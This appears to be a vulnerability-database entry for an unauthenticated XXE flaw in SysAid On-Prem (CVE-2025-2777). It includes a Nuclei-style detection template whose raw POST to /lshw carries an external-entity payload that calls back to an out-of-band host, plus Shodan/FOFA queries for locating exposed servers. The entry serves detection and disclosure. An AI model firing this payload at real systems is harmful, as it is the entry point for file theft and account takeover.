CVE-2025-2777: SysAid On-Prem <= 23.3.40 - XML External Entity

2025-08-01 SysAid On Prem PoC Public

Description

SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.

PoC

id: CVE-2025-2777

info:
  name: SysAid On-Prem <= 23.3.40 - XML External Entity
  author: johnk3r
  severity: critical
  description: |
    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the lshw processing functionality, allowing for administrator account takeover and file read primitives.
  impact: |
    Unauthenticated attackers can exploit XXE vulnerabilities in the lshw endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.
  remediation: |
    Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.
  reference:
    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/
    - https://documentation.sysaid.com/docs/24-40-60
  classification:
    epss-score: 0.72202
    epss-percentile: 0.99404
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2025-2777
    cwe-id: CWE-611
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:"1540720428"
    fofa-query: icon_hash=1540720428
  tags: cve,cve2025,oast,sysaid,xxe,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST /lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" ?>
        <!DOCTYPE foo [
        <!ENTITY % foo SYSTEM "http://{{interactsh-url}}/{{filename}}.dtd">
        %foo;
        ]>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"
# digest: 4b0a00483046022100ef3617a692ad1cbb6c450bf2164d57233a8310d6f68715acfce55745861e9afe022100bde43d16da2a7008c0eb403411de078d482e5546d04f448fec9f2bd00d3dfa51:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities